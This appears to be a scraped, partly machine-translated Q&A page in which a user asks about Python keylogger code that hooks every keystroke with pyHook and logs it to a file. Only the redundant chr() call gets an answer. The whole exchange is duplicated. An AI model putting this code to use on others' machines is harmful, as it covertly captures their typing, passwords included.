Python 键盘记录器
Python keylogger
我试图在 python 中制作一个键盘记录器,并在许多博客上偶然发现了这段代码:
file_log='F:\test\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
好的,我这里有3个疑惑:
First,As far as I understand, chr(event.Ascii) is used to convert
ASCII values of keystrokes into valid char values, Why are we doing
it twice : chr(event.Ascii)
logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
Second , whats the use of 's' in format='%(message)s'
And third: I saved the file as '.pyw' But when I double-click it, it
wont work. Although, It works thru Cmd
As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
是的,你没看错。即使它不是多余的,它也没有用——这只是一个表达式语句,它计算一个没有副作用的表达式并且不对结果做任何事情,所以它没有任何效果,除了浪费一点 CPU 时间。
当您在 Internet 的某个地方找到随机代码时,并不能保证它是绝妙的代码。
也许作者得到了奇怪的值,并决定他们需要能够在 chr
调用之前或之后放置一个断点,所以他们将它移到了自己的行上。或者得到异常,不知道如何判断它是来自 chr
还是 log
。当然,要么他们应该完成 s = chr(event.Ascii)
然后在 logging.log(10, s)
中使用它,但也许这只是他们忘记恢复的一次性快速和肮脏的事情。
或者作者对 Python 的了解比你少,或者是个白痴,或者只是按他们调用内置函数的次数获得报酬。谁知道?
我试图在 python 中制作一个键盘记录器,并在许多博客上偶然发现了这段代码:
file_log='F:\test\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
好的,我这里有3个疑惑:
First,As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
Second , whats the use of 's' in format='%(message)s'
And third: I saved the file as '.pyw' But when I double-click it, it wont work. Although, It works thru Cmd
As far as I understand, chr(event.Ascii) is used to convert ASCII values of keystrokes into valid char values, Why are we doing it twice : chr(event.Ascii) logging.log(10,chr(event.Ascii)). Isn't the line : chr(event.Ascii) redundant here.
是的,你没看错。即使它不是多余的,它也没有用——这只是一个表达式语句,它计算一个没有副作用的表达式并且不对结果做任何事情,所以它没有任何效果,除了浪费一点 CPU 时间。
当您在 Internet 的某个地方找到随机代码时,并不能保证它是绝妙的代码。
也许作者得到了奇怪的值,并决定他们需要能够在 chr
调用之前或之后放置一个断点,所以他们将它移到了自己的行上。或者得到异常,不知道如何判断它是来自 chr
还是 log
。当然,要么他们应该完成 s = chr(event.Ascii)
然后在 logging.log(10, s)
中使用它,但也许这只是他们忘记恢复的一次性快速和肮脏的事情。
或者作者对 Python 的了解比你少,或者是个白痴,或者只是按他们调用内置函数的次数获得报酬。谁知道?